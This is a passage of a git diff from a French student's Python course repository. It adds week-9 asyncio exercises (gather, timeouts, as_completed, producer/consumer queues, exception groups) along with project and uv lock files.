86947, upload-time = "2026-04-06T09:23:22.826Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/23/a5bbd9600dd607411fa644c06ff4951bec3a4d82c4b852374024359c19c0/uvicorn-0.44.0-py3-none-any.whl", hash = "sha256:ce937c99a2cc70279556967274414c087888e8cec9f9c94644dfca11bd3ced89", size = 69425, upload-time = "2026-04-06T09:23:21.524Z" }, +] diff --git a/Semaine_08/test.py b/Semaine_08/test.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_09/Asyncio_examples/.python-version b/Semaine_09/Asyncio_examples/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_09/Asyncio_examples/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_09/Asyncio_examples/03_asyncio_exos.pdf b/Semaine_09/Asyncio_examples/03_asyncio_exos.pdf new file mode 100644 index 0000000..36e0c32 Binary files /dev/null and b/Semaine_09/Asyncio_examples/03_asyncio_exos.pdf differ diff --git a/Semaine_09/Asyncio_examples/README.md b/Semaine_09/Asyncio_examples/README.md new file mode 100644 index 0000000..33f3219 --- /dev/null +++ b/Semaine_09/Asyncio_examples/README.md @@ -0,0 +1,3 @@ +``` +uv add aiohttp +``` diff --git a/Semaine_09/Asyncio_examples/chaining.py b/Semaine_09/Asyncio_examples/chaining.py new file mode 100644 index 0000000..4c0d4d4 --- /dev/null +++ b/Semaine_09/Asyncio_examples/chaining.py @@ -0,0 +1,37 @@ +import random, asyncio, time + +async def fetch_posts(user): + delay = random.uniform(0.5, 2.0) + print(f"Post coroutine : récupération des postes pour l'utilisateur {user["name"]}.") + await asyncio.sleep(delay) + posts = [f"Post {i} par l'utilisateur {user["name"]}" for i in range (1, 3)] + print(f"Post coroutine : récupération de {len(posts)} posts pour l'utilisateur {user["name"]} - delay : {delay:.2f}s.") + for post in posts: + print(f"--- {post} ---") + +async def fetch_user(user_id): + delay = random.uniform(0.5, 2.0) + print(f"Utilisateur coroutine : récupération de l'utilisateur {user_id=}.") # En mettant le = à la fin, il va écrire user_id=[valeur] + await asyncio.sleep(delay) + user = {"id": user_id, "name": f"User{user_id}"} + print(f"Utilisateur coroutine : récupération de l'utilisateur {user_id=} - delay : {delay:.2f}s.") + return user + +async def get_user_with_posts(user_id): + user = await fetch_user(user_id) + await fetch_posts(user) + +async def main(): + user_ids = [1,2,3] + start = time.perf_counter() + await asyncio.gather( + # liste de compréhension. Dans un tuple, elle donne un "Générateur". + # L'étoile fait donner l'instruction pour autant d'éléments que + # nécessaire + *(get_user_with_posts(user_id) for user_id in user_ids) + ) + print(f"Temps total d'exécution : {time.perf_counter() - start:.2f}s.") + +if __name__ == "__main__": + random.seed(444) + asyncio.run(main()) \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/examples.py b/Semaine_09/Asyncio_examples/examples.py new file mode 100644 index 0000000..4dfab11 --- /dev/null +++ b/Semaine_09/Asyncio_examples/examples.py @@ -0,0 +1,29 @@ +import random, asyncio + +COLORS = ( + "\033[0m", # End of color + "\033[36m", # Cyan + "\033[91m", # Red + "\033[35m", # Magenta +) + +async def makerandom(delay, threshold= 6): + color = COLORS[delay] + print(f"{color} Initiated makerandom ({delay})") + while (number := random.randint(0, 10)) <= threshold: # Walrus operator : on crée une variable à la volée + print(f"{color} makerandom ({delay}) == {number} too low ; retrying.") + await asyncio.sleep(delay) + print(f"{color} => Finished makerandom ({delay}) == {number} {COLORS[0]}") + return number + +async def main(): + return await asyncio.gather( + makerandom(1, 9), + makerandom(2, 8), + makerandom(3, 8), + ) + +if __name__ == "__main__": + random.seed(444) + r1, r2, r3 = asyncio.run(main()) + print(r1, r2, r3) \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/exceptions.py b/Semaine_09/Asyncio_examples/exceptions.py new file mode 100644 index 0000000..dfd7f62 --- /dev/null +++ b/Semaine_09/Asyncio_examples/exceptions.py @@ -0,0 +1,34 @@ +import asyncio + +async def coro_a(): + await asyncio.sleep(1) + raise ValueError("Error in Coro A") + +async def coro_b(): + await asyncio.sleep(1) + raise TypeError("Error in Coro B") + +async def coro_c(): + await asyncio.sleep(1) + raise IndexError("Error in Coro C") + +async def main(): + results = await asyncio.gather( + coro_a(), + coro_b(), + coro_c(), + return_exceptions= True # renvoie les exceptions comme des résultats + ) + exceptions = [e for e in results if isinstance(e, Exception)] + if exceptions: + raise ExceptionGroup("errors", exceptions) + +if __name__ == "__main__": + try: + asyncio.run(main()) + except* ValueError as ve_group: + print(f"Value Error:", ve_group) + except* TypeError as te_group: + print(f"Type Error:", te_group) + except* IndexError as ie_group: + print(f"Index Error:", ie_group) \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/exo_01.py b/Semaine_09/Asyncio_examples/exo_01.py new file mode 100644 index 0000000..035968a --- /dev/null +++ b/Semaine_09/Asyncio_examples/exo_01.py @@ -0,0 +1,85 @@ +# Exercice 1 + +### Appel synchrone + +import time + +section = "Appel Synchrone" +print(f"=" * (len(section) + 4)) +print(section) +print(f"=" * (len(section) + 4)) + +def synchronous_fetch_users(): + start = time.perf_counter() + time.sleep(2) + print(f"Users : Temps d'exécution : {time.perf_counter() - start:.2f}s") + return ["alice", "bob", "charlie"] + +def synchronous_fetch_orders(): + start = time.perf_counter() + time.sleep(3) + print(f"Orders : Temps d'exécution : {time.perf_counter() - start:.2f}s") + return ["order_1", "order_2"] + +def synchronous_fetch_inventory(): + start = time.perf_counter() + time.sleep(1) + print(f"Inventory : Temps d'exécution : {time.perf_counter() - start:.2f}s") + return ["item_A", "item_B", "item_C"] + +def synchronous_main(): + print( + synchronous_fetch_users(), + synchronous_fetch_orders(), + synchronous_fetch_inventory(), + ) + +if __name__ == "__main__": + start = time.perf_counter() + synchronous_main() + print(f"Temps total d'exécution : {time.perf_counter() - start:.2f}s") + +### Appel en coroutines + +import asyncio, time + +section = "Appel en Co-routines" +print(f"=" * (len(section) + 4)) +print(section) +print(f"=" * (len(section) + 4)) + +async def coro_fetch_users(): + start = time.perf_counter() + await asyncio.sleep(2) + print(f"Users : Temps d'exécution : {time.perf_counter() - start:.2f}s") + return ["alice", "bob", "charlie"] + +async def coro_fetch_orders(): + start = time.perf_counter() + await asyncio.sleep(3) + print(f"Orders : Temps d'exécution : {time.perf_counter() - start:.2f}s") + return ["order_1", "order_2"] + +async def coro_fetch_inventory(): + start = time.perf_counter() + await asyncio.sleep(1) + print(f"Inventory : Temps d'exécution : {time.perf_counter() - start:.2f}s") + return ["item_A", "item_B", "item_C"] + +async def coro_main(): + results = await asyncio.gather( + coro_fetch_users(), + coro_fetch_orders(), + coro_fetch_inventory(), + ) + return results + +if __name__ == "__main__": + start = time.perf_counter() + asyncio.run(coro_main()) + print(f"Temps total d'exécution : {time.perf_counter() - start:.2f}s") + +conclusion = "Les tâches se sont lancées simultanément, et le temps total n'a donc pris que le temps maximal de la fonction la plus longue" +print(f"=" * len(section)) +print(conclusion) +print(f"=" * len(section)) diff --git a/Semaine_09/Asyncio_examples/exo_02.py b/Semaine_09/Asyncio_examples/exo_02.py new file mode 100644 index 0000000..668362c --- /dev/null +++ b/Semaine_09/Asyncio_examples/exo_02.py @@ -0,0 +1,42 @@ +# Exercice 2 + +import asyncio, random, time + +section = "Téléchargement de fichiers" +print(f"=" * (len(section) + 4)) +print(section) +print(f"=" * (len(section) + 4)) + +async def random_number(): + return random.uniform(1.0, 5.0) + +async def download_file(file_id: int): + download_time = await random_number() + await asyncio.sleep(download_time) + return f"fichier_{file_id}.zip", download_time + +async def file_downloader(downloads: int = 5): + start_time = time.perf_counter() + tasks = [] + + for i in range(1, downloads + 1): + task = asyncio.create_task(download_file(i)) + tasks.append(task) + + slowest_file = None + slowest_time = 0 + + for task in asyncio.as_completed(tasks): + filename, download_time = await task + print(f"{filename}: {download_time:.2f}s") + + if download_time > slowest_time: + slowest_time = download_time + slowest_file = filename + + total_time = time.perf_counter() - start_time + print(f"\nTemps total: {total_time:.2f}s") + print(f"Fichier le plus lent: {slowest_file} ({slowest_time:.2f}s)") + +if __name__ == "__main__": + asyncio.run(file_downloader()) \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/exo_03.py b/Semaine_09/Asyncio_examples/exo_03.py new file mode 100644 index 0000000..e969b74 --- /dev/null +++ b/Semaine_09/Asyncio_examples/exo_03.py @@ -0,0 +1,34 @@ +# exo 3 +import asyncio + +SERVEURS = { + "serveur_A": 0.5, + "serveur_B": 2.0, + "serveur_C": 5.0, + "serveur_D": 1.2, +} + +async def interroger(nom, delai): + await asyncio.sleep(delai) + return f"réponse de {nom}" + +async def appel_avec_timeout(nom, delai, timeout=2.0): + try: + resultat = await asyncio.wait_for(interroger(nom, delai), timeout=timeout) + print(f"✓ {nom} : {resultat}") + return nom, True + except asyncio.TimeoutError: + print(f"⚠ {nom} : timeout après {timeout}s") + return nom, False + +async def main(): + taches = [appel_avec_timeout(nom, delai) for nom, delai in SERVEURS.items()] + resultats = await asyncio.gather(*taches) + + ok = [n for n, success in resultats if success] + ko = [n for n, success in resultats if not success] + print("\n--- Résumé ---") + print(f"En ligne ({len(ok)}) : {', '.join(ok)}") + print(f"Timeout ({len(ko)}) : {', '.join(ko)}") + +asyncio.run(main()) \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/exo_04.py b/Semaine_09/Asyncio_examples/exo_04.py new file mode 100644 index 0000000..b376cea --- /dev/null +++ b/Semaine_09/Asyncio_examples/exo_04.py @@ -0,0 +1,49 @@ +URLS = [ + "https://httpbin.org/get", + "https://httpbin.org/ip", + "https://httpbin.org/user-agent", + "https://httpbin.org/headers", + "https://httpbin.org/uuid", + "https://httpbin.org/base64/SWYgeW91IGNhbiByZWFkIHRoaXMsIGJyYXZvICE=", +] + +import asyncio, random, time + +async def producer(queue: asyncio.Queue, urls): + async def fetch_url(url): + delay = random.uniform(0.5, 2.0) + print(f"Producer : récupération de l'URL {url=}") + await asyncio.sleep(delay) + url = {"id": url, "name": f"{url}"} + print(f"Producer : récupération de l'URL avec l'ID {url=} - delay {delay:.2f}s.") + await queue.put(url) + + await asyncio.gather(*(fetch_url(id) for id in urls)) + for _ in range(len(urls)): + await queue.put(None) + +async def consumer(queue): + while True: + url = await queue.get() + if url is None: + break + delay = random.uniform(0.5, 2.0) + print(f"Consumer : récupération des posts pour {url["name"]}") + await asyncio.sleep(delay) + posts = [f"Post {i} par l'URL : {url["name"]}" for i in range(1, 3)] + print(f"Consumer : récupération de {len(posts)} posts pour {url["name"]} - delay {delay:.2f}s.") + for post in posts: + print(f"--- {post} ---") + +async def main(): + queue = asyncio.Queue() + start = time.perf_counter() + await asyncio.gather( + producer(queue, URLS), + *(consumer(queue) for _ in URLS) + ) + print(f"Temps total d'exécution : {time.perf_counter() - start:.2f}s") + +if __name__ == "__main__": + random.seed(444) + asyncio.run(main()) \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/exo_05.py b/Semaine_09/Asyncio_examples/exo_05.py new file mode 100644 index 0000000..34244d6 --- /dev/null +++ b/Semaine_09/Asyncio_examples/exo_05.py @@ -0,0 +1,41 @@ +# exo 5 +import asyncio +import time + +SERVICES = [ + {"nom": "base de données", "delai": 0.3}, + {"nom": "cache Redis", "delai": 0.1}, + {"nom": "API externe", "delai": 3.5}, + {"nom": "serveur mail", "delai": 0.8}, + {"nom": "CDN", "delai": 1.5}, +] +TIMEOUT = 2.0 + +async def check(service): + nom, delai = service["nom"], service["delai"] + debut = time.time() + try: + await asyncio.wait_for(asyncio.sleep(delai), timeout=TIMEOUT) + return nom, True, time.time() - debut + except asyncio.TimeoutError: + return nom, False, TIMEOUT + +async def main(): + start = time.time() + taches = [asyncio.create_task(check(s)) for s in SERVICES] + + en_ligne, hors_ligne = 0, 0 + for tache in asyncio.as_completed(taches): + nom, ok, duree = await tache + if ok: + print(f"✓ {nom:<20} EN LIGNE ({duree:.2f}s)") + en_ligne += 1 + else: + print(f"✗ {nom:<20} HORS LIGNE (timeout {duree:.1f}s)") + hors_ligne += 1 + + total = time.time() - start + print(f"\nRésumé : {en_ligne} en ligne, {hors_ligne} hors ligne — temps total {total:.2f}s") + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/main.py b/Semaine_09/Asyncio_examples/main.py new file mode 100644 index 0000000..84452a8 --- /dev/null +++ b/Semaine_09/Asyncio_examples/main.py @@ -0,0 +1,70 @@ +""" +async => transforme une fonction en coroutine + => une fonction COROUTINE peut suspendre son exécution + en cours de route et reprendre là où elle s'est + arrêtée. + +await => c'est le point de suspension + => quand une coroutine rencontre un "await", elle doit + attendre le résultat, et signale qu'une autre + coroutine peut se lancer en parallèle. +""" + +import time + +# A l'ancienne + +section = "Séquentiel" + +print(f"{"=" * len(section)}") +print(section) +print(f"{"=" * len(section)}") + +def count(): + print("One") + time.sleep(1) + print("Two") + time.sleep(1) + +def main(): + for _ in range(3): + count() + +if __name__ == "__main__": + start = time.perf_counter() + main() + print(f"{__file__} exécuté en {time.perf_counter() - start:.2f} secondes.") + +# Nouvelle méthode + +section = "Asynchrone avec ASYNCIO" + +print(f"{"=" * len(section)}") +print(section) +print(f"{"=" * len(section)}") + +import asyncio + +async def async_count(): + print("One") + await asyncio.sleep(1) + print("Two") + await asyncio.sleep(1) + +async def async_main(): + await asyncio.gather(async_count(), async_count(), async_count()) + +if __name__ == "__main__": + start = time.perf_counter() + asyncio.run(async_main()) + print(f"{__file__} exécuté en {time.perf_counter() - start:.2f} secondes.") + +async def z(x): + return x + +async def f(x): + y = await z(x) # si 'z' est une coroutine + return y + +async def g(x): + yield x # async fonctionne sur les générateurs \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/misc.py b/Semaine_09/Asyncio_examples/misc.py new file mode 100644 index 0000000..4f5dcf9 --- /dev/null +++ b/Semaine_09/Asyncio_examples/misc.py @@ -0,0 +1,26 @@ +""" +async for +async with +""" + +import asyncio, aiohttp + +async def check(url): + async with aiohttp.ClientSession() as session: + async with session.get(url) as response: + print(f"{url} : status => {response.status}") + +async def puissance2(stop= 10): + exponent = 0 + while exponent < stop: + yield 2 ** exponent + exponent += 1 + await asyncio.sleep(0.2) + +async def main(): + liste = [] + async for i in puissance2(): + liste.append(i) + print(liste) + + liste = [j async for j in puissance2()] \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/productor_consumer.py b/Semaine_09/Asyncio_examples/productor_consumer.py new file mode 100644 index 0000000..9f41fe3 --- /dev/null +++ b/Semaine_09/Asyncio_examples/productor_consumer.py @@ -0,0 +1,46 @@ +""" +asyncio.Queue => le producteur dépose des éléments sans se soucier de qui le prend. + => les consommateurs priochent et consomment +""" + +import asyncio, random, time + +async def producer(queue: asyncio.Queue, user_ids): + async def fetch_user(user_id): + delay = random.uniform(0.5, 2.0) + print(f"Producer : récupération de l'utilisateur {user_id=}") + await asyncio.sleep(delay) + user = {"id": user_id, "name": f"User{user_id}"} + print(f"Producer : récupération de l'utilisateur avec l'ID {user_id=} - delay {delay:.2f}s.") + await queue.put(user) + + await asyncio.gather(*(fetch_user(id) for id in user_ids)) + for _ in range(len(user_ids)): + await queue.put(None) + +async def consumer(queue): + while True: + user = await queue.get() + if user is None: + break + delay = random.uniform(0.5, 2.0) + print(f"Consumer : récupération des posts pour {user["name"]}") + await asyncio.sleep(delay) + posts = [f"Post {i} par l'utilisateur : {user["name"]}" for i in range(1, 3)] + print(f"Consumer : récupération de {len(posts)} posts pour {user["name"]} - delay {delay:.2f}s.") + for post in posts: + print(f"--- {post} ---") + +async def main(): + queue = asyncio.Queue() + user_ids = [1,2,3] + start = time.perf_counter() + await asyncio.gather( + producer(queue, user_ids), + *(consumer(queue) for _ in user_ids) + ) + print(f"Temps total d'exécution : {time.perf_counter() - start:.2f}s") + +if __name__ == "__main__": + random.seed(444) + asyncio.run(main()) \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/pyproject.toml b/Semaine_09/Asyncio_examples/pyproject.toml new file mode 100644 index 0000000..6026c66 --- /dev/null +++ b/Semaine_09/Asyncio_examples/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "asyncio-examples" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "aiohttp>=3.13.5", +] diff --git a/Semaine_09/Asyncio_examples/tools.py b/Semaine_09/Asyncio_examples/tools.py new file mode 100644 index 0000000..562ea27 --- /dev/null +++ b/Semaine_09/Asyncio_examples/tools.py @@ -0,0 +1,22 @@ +import asyncio + +async def coro(numbers): + await asyncio.sleep(min(numbers)) + return list(reversed(numbers)) + +async def main(): + task1 = asyncio.create_task(coro= coro([10, 5, 2])) + task2 = asyncio.create_task(coro= coro([3, 2, 1])) + for task in asyncio.as_completed([task1, task2]): + result = await task + print(f"{type(task)=}") + print(result) + +if __name__ == "__main__": + asyncio.run(main()) + + """ + await coro(utine) : exécute immédiatement et attend qu'elle finisse + + create_task() : planifie une coroutine en arrière-plan + """ \ No newline at end of file diff --git a/Semaine_09/Asyncio_examples/uv.lock b/Semaine_09/Asyncio_examples/uv.lock new file mode 100644 index 0000000..37fe77d --- /dev/null +++ b/Semaine_09/Asyncio_examples/uv.lock @@ -0,0 +1,534 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "aiohappyeyeballs" +version = "2.6.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/26/30/f84a107a9c4331c14b2b586036f40965c128aa4fee4dda5d3d51cb14ad54/aiohappyeyeballs-2.6.1.tar.gz", hash = "sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558", size = 22760, upload-time = "2025-03-12T01:42:48.764Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0f/15/5bf3b99495fb160b63f95972b81750f18f7f4e02ad051373b669d17d44f2/aiohappyeyeballs-2.6.1-py3-none-any.whl", hash = "sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8", size = 15265, upload-time = "2025-03-12T01:42:47.083Z" }, +] + +[[package]] +name = "aiohttp" +version = "3.13.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "aiohappyeyeballs" }, + { name = "aiosignal" }, + { name = "attrs" }, + { name = "frozenlist" }, + { name = "multidict" }, + { name = "propcache" }, + { name = "yarl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/77/9a/152096d4808df8e4268befa55fba462f440f14beab85e8ad9bf990516918/aiohttp-3.13.5.tar.gz", hash = "sha256:9d98cc980ecc96be6eb4c1994ce35d28d8b1f5e5208a23b421187d1209dbb7d1", size = 7858271, upload-time = "2026-03-31T22:01:03.343Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/be/6f/353954c29e7dcce7cf00280a02c75f30e133c00793c7a2ed3776d7b2f426/aiohttp-3.13.5-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:023ecba036ddd840b0b19bf195bfae970083fd7024ce1ac22e9bba90464620e9", size = 748876, upload-time = "2026-03-31T21:57:36.319Z" }, + { url = "https://files.pythonhosted.org/packages/f5/1b/428a7c64687b3b2e9cd293186695affc0e1e54a445d0361743b231f11066/aiohttp-3.13.5-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:15c933ad7920b7d9a20de151efcd05a6e38302cbf0e10c9b2acb9a42210a2416", size = 499557, upload-time = "2026-03-31T21:57:38.236Z" }, + { url = "https://files.pythonhosted.org/packages/29/47/7be41556bfbb6917069d6a6634bb7dd5e163ba445b783a90d40f5ac7e3a7/aiohttp-3.13.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ab2899f9fa2f9f741896ebb6fa07c4c883bfa5c7f2ddd8cf2aafa86fa981b2d2", size = 500258, upload-time = "2026-03-31T21:57:39.923Z" }, + { url = "https://files.pythonhosted.org/packages/67/84/c9ecc5828cb0b3695856c07c0a6817a99d51e2473400f705275a2b3d9239/aiohttp-3.13.5-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a60eaa2d440cd4707696b52e40ed3e2b0f73f65be07fd0ef23b6b539c9c0b0b4", size = 1749199, upload-time = "2026-03-31T21:57:41.938Z" }, + { url = "https://files.pythonhosted.org/packages/f0/d3/3c6d610e66b495657622edb6ae7c7fd31b2e9086b4ec50b47897ad6042a9/aiohttp-3.13.5-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:55b3bdd3292283295774ab585160c4004f4f2f203946997f49aac032c84649e9", size = 1721013, upload-time = "2026-03-31T21:57:43.904Z" }, + { url = "https://files.pythonhosted.org/packages/49/a0/24409c12217456df0bae7babe3b014e460b0b38a8e60753d6cb339f6556d/aiohttp-3.13.5-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c2b2355dc094e5f7d45a7bb262fe7207aa0460b37a0d87027dcf21b5d890e7d5", size = 1781501, upload-time = "2026-03-31T21:57:46.285Z" }, + { url = "https://files.pythonhosted.org/packages/98/9d/b65ec649adc5bccc008b0957a9a9c691070aeac4e41cea18559fef49958b/aiohttp-3.13.5-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b38765950832f7d728297689ad78f5f2cf79ff82487131c4d26fe6ceecdc5f8e", size = 1878981, upload-time = "2026-03-31T21:57:48.734Z" }, + { url = "https://files.pythonhosted.org/packages/57/d8/8d44036d7eb7b6a8ec4c5494ea0c8c8b94fbc0ed3991c1a7adf230df03bf/aiohttp-3.13.5-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b18f31b80d5a33661e08c89e202edabf1986e9b49c42b4504371daeaa11b47c1", size = 1767934, upload-time = "2026-03-31T21:57:51.171Z" }, + { url = "https://files.pythonhosted.org/packages/31/04/d3f8211f273356f158e3464e9e45484d3fb8c4ce5eb2f6fe9405c3273983/aiohttp-3.13.5-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:33add2463dde55c4f2d9635c6ab33ce154e5ecf322bd26d09af95c5f81cfa286", size = 1566671, upload-time = "2026-03-31T21:57:53.326Z" }, + { url = "https://files.pythonhosted.org/packages/41/db/073e4ebe00b78e2dfcacff734291651729a62953b48933d765dc513bf798/aiohttp-3.13.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:327cc432fdf1356fb4fbc6fe833ad4e9f6aacb71a8acaa5f1855e4b25910e4a9", size = 1705219, upload-time = "2026-03-31T21:57:55.385Z" }, + { url = "https://files.pythonhosted.org/packages/48/45/7dfba71a2f9fd97b15c95c06819de7eb38113d2cdb6319669195a7d64270/aiohttp-3.13.5-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:7c35b0bf0b48a70b4cb4fc5d7bed9b932532728e124874355de1a0af8ec4bc88", size = 1743049, upload-time = "2026-03-31T21:57:57.341Z" }, + { url = "https://files.pythonhosted.org/packages/18/71/901db0061e0f717d226386a7f471bb59b19566f2cae5f0d93874b017271f/aiohttp-3.13.5-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:df23d57718f24badef8656c49743e11a89fd6f5358fa8a7b96e728fda2abf7d3", size = 1749557, upload-time = "2026-03-31T21:57:59.626Z" }, + { url = "https://files.pythonhosted.org/packages/08/d5/41eebd16066e59cd43728fe74bce953d7402f2b4ddfdfef2c0e9f17ca274/aiohttp-3.13.5-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:02e048037a6501a5ec1f6fc9736135aec6eb8a004ce48838cb951c515f32c80b", size = 1558931, upload-time = "2026-03-31T21:58:01.972Z" }, + { url = "https://files.pythonhosted.org/packages/30/e6/4a799798bf05740e66c3a1161079bda7a3dd8e22ca392481d7a7f9af82a6/aiohttp-3.13.5-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:31cebae8b26f8a615d2b546fee45d5ffb76852ae6450e2a03f42c9102260d6fe", size = 1774125, upload-time = "2026-03-31T21:58:04.007Z" }, + { url = "https://files.pythonhosted.org/packages/84/63/7749337c90f92bc2cb18f9560d67aa6258c7060d1397d21529b8004fcf6f/aiohttp-3.13.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:888e78eb5ca55a615d285c3c09a7a91b42e9dd6fc699b166ebd5dee87c9ccf14", size = 1732427, upload-time = "2026-03-31T21:58:06.337Z" }, + { url = "https://files.pythonhosted.org/packages/98/de/cf2f44ff98d307e72fb97d5f5bbae3bfcb442f0ea9790c0bf5c5c2331404/aiohttp-3.13.5-cp312-cp312-win32.whl", hash = "sha256:8bd3ec6376e68a41f9f95f5ed170e2fcf22d4eb27a1f8cb361d0508f6e0557f3", size = 433534, upload-time = "2026-03-31T21:58:08.712Z" }, + { url = "https://files.pythonhosted.org/packages/aa/ca/eadf6f9c8fa5e31d40993e3db153fb5ed0b11008ad5d9de98a95045bed84/aiohttp-3.13.5-cp312-cp312-win_amd64.whl", hash = "sha256:110e448e02c729bcebb18c60b9214a87ba33bac4a9fa5e9a5f139938b56c6cb1", size = 460446, upload-time = "2026-03-31T21:58:10.945Z" }, + { url = "https://files.pythonhosted.org/packages/78/e9/d76bf503005709e390122d34e15256b88f7008e246c4bdbe915cd4f1adce/aiohttp-3.13.5-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a5029cc80718bbd545123cd8fe5d15025eccaaaace5d0eeec6bd556ad6163d61", size = 742930, upload-time = "2026-03-31T21:58:13.155Z" }, + { url = "https://files.pythonhosted.org/packages/57/00/4b7b70223deaebd9bb85984d01a764b0d7bd6526fcdc73cca83bcbe7243e/aiohttp-3.13.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:4bb6bf5811620003614076bdc807ef3b5e38244f9d25ca5fe888eaccea2a9832", size = 496927, upload-time = "2026-03-31T21:58:15.073Z" }, + { url = "https://files.pythonhosted.org/packages/9c/f5/0fb20fb49f8efdcdce6cd8127604ad2c503e754a8f139f5e02b01626523f/aiohttp-3.13.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a84792f8631bf5a94e52d9cc881c0b824ab42717165a5579c760b830d9392ac9", size = 497141, upload-time = "2026-03-31T21:58:17.009Z" }, + { url = "https://files.pythonhosted.org/packages/3b/86/b7c870053e36a94e8951b803cb5b909bfbc9b90ca941527f5fcafbf6b0fa/aiohttp-3.13.5-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:57653eac22c6a4c13eb22ecf4d673d64a12f266e72785ab1c8b8e5940d0e8090", size = 1732476, upload-time = "2026-03-31T21:58:18.925Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e5/4e161f84f98d80c03a238671b4136e6530453d65262867d989bbe78244d0/aiohttp-3.13.5-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e5e5f7debc7a57af53fdf5c5009f9391d9f4c12867049d509bf7bb164a6e295b", size = 1706507, upload-time = "2026-03-31T21:58:21.094Z" }, + { url = "https://files.pythonhosted.org/packages/d4/56/ea11a9f01518bd5a2a2fcee869d248c4b8a0cfa0bb13401574fa31adf4d4/aiohttp-3.13.5-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c719f65bebcdf6716f10e9eff80d27567f7892d8988c06de12bbbd39307c6e3a", size = 1773465, upload-time = "2026-03-31T21:58:23.159Z" }, + { url = "https://files.pythonhosted.org/packages/eb/40/333ca27fb74b0383f17c90570c748f7582501507307350a79d9f9f3c6eb1/aiohttp-3.13.5-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d97f93fdae594d886c5a866636397e2bcab146fd7a132fd6bb9ce182224452f8", size = 1873523, upload-time = "2026-03-31T21:58:25.59Z" }, + { url = "https://files.pythonhosted.org/packages/f0/d2/e2f77eef1acb7111405433c707dc735e63f67a56e176e72e9e7a2cd3f493/aiohttp-3.13.5-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3df334e39d4c2f899a914f1dba283c1aadc311790733f705182998c6f7cae665", size = 1754113, upload-time = "2026-03-31T21:58:27.624Z" }, + { url = "https://files.pythonhosted.org/packages/fb/56/3f653d7f53c89669301ec9e42c95233e2a0c0a6dd051269e6e678db4fdb0/aiohttp-3.13.5-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fe6970addfea9e5e081401bcbadf865d2b6da045472f58af08427e108d618540", size = 1562351, upload-time = "2026-03-31T21:58:29.918Z" }, + { url = "https://files.pythonhosted.org/packages/ec/a6/9b3e91eb8ae791cce4ee736da02211c85c6f835f1bdfac0594a8a3b7018c/aiohttp-3.13.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7becdf835feff2f4f335d7477f121af787e3504b48b449ff737afb35869ba7bb", size = 1693205, upload-time = "2026-03-31T21:58:32.214Z" }, + { url = "https://files.pythonhosted.org/packages/98/fc/bfb437a99a2fcebd6b6eaec609571954de2ed424f01c352f4b5504371dd3/aiohttp-3.13.5-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:676e5651705ad5d8a70aeb8eb6936c436d8ebbd56e63436cb7dd9bb36d2a9a46", size = 1730618, upload-time = "2026-03-31T21:58:34.728Z" }, + { url = 